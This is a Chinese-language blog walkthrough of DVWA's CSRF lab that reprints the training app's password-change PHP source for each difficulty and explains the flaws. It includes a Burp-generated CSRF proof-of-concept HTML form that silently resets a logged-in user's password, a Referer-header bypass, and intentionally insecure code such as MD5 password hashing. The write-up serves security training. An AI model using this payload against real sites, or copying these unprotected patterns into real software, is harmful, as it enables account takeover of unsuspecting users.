DVWA之csrf解题

墨蓝 2023-10-06 16:13 74阅读 0赞

#### 目录 ####

*  Low Level
 *  Medium Level
 *  High Level
 *  Impossible Level

## Low Level ##

查看低级难度题的源码，可知没有做任何限制。

<?php 
    
    if( isset( $_GET[ 'Change' ] ) ) {
         
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) {
         
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else {
         
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    
    ?>

通过Burpsuite抓取修改密码的报文。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70]  
选中存在csrf漏洞的报文，右键选择Engagement tools—>Generate CSRF PoC。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 1]  
生成构造好的攻击脚本，value就是要修改的密码。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]  
点击Copy HTML，并拷贝到本地（如csrf.html）。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 3]

<html>
      
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://192.168.29.132/DVWA-master/vulnerabilities/csrf/">
          <input type="hidden" name="password_new" value="123125" />
          <input type="hidden" name="password_conf" value="123125" />
          <input type="hidden" name="Change" value="Change" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>

浏览器中访问该html，并点击Submit request。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 4]  
密码修改成功。  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 5]

## Medium Level ##

查看中级难度题的源码，可知先检测referer是否包含主机名称，再进行更改密码。

<?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        
        // Checks to see where the request came from
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        
            // Get input
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
        
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for the user
                echo "<pre>Password Changed.</pre>";
            }
            else {
        
                // Issue with passwords matching
                echo "<pre>Passwords did not match.</pre>";
            }
        }
        else {
        
            // Didn't come from a trusted source
            echo "<pre>That request didn't look correct.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>

查看phpinfo中，SERVER\_NAME的值  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 6]  
浏览器访问POC（csrf.html），Burpsuite抓包并修改Referer，添加localhost进行绕过

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 7]  
密码修改成功  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 8]

## High Level ##

查看源码，可知增加了Anti-CSRF token机制，用户每次访问更改页面时，服务器都会返回一个随机token，向服务器发送请求时，并带上随机token，服务端接收的时候先对token进行检查是否正确，才会处理客户端请求。

<?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
        
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
        
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

我们要想获取到用户的token,并提交修改密码的表单的话，就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器，同时得发挥作用，获取用户的 token修改密码的话，就得和XSS漏洞一起结合实现了  
解题可参考:[CSRF high等级另类通关法][CSRF high]

## Impossible Level ##

通过源码可知impossible级别修改密码需要输入之前的密码，黑客无法知道用户之前的密码，所以无法进行CSRF攻击。

<?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $pass_curr = $_GET[ 'password_current' ];
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Sanitise current password input
        $pass_curr = stripslashes( $pass_curr );
        $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_curr = md5( $pass_curr );
    
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();
    
        // Do both new passwords match and does the current password match the user?
        if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        
            // It does!
            $pass_new = stripslashes( $pass_new );
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update database with new password
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();
    
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
        
            // Issue with passwords matching
            echo "<pre>Passwords did not match or current password incorrect.</pre>";
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

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[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20210128164549778.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
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[CSRF high]: https://www.freebuf.com/articles/web/203301.html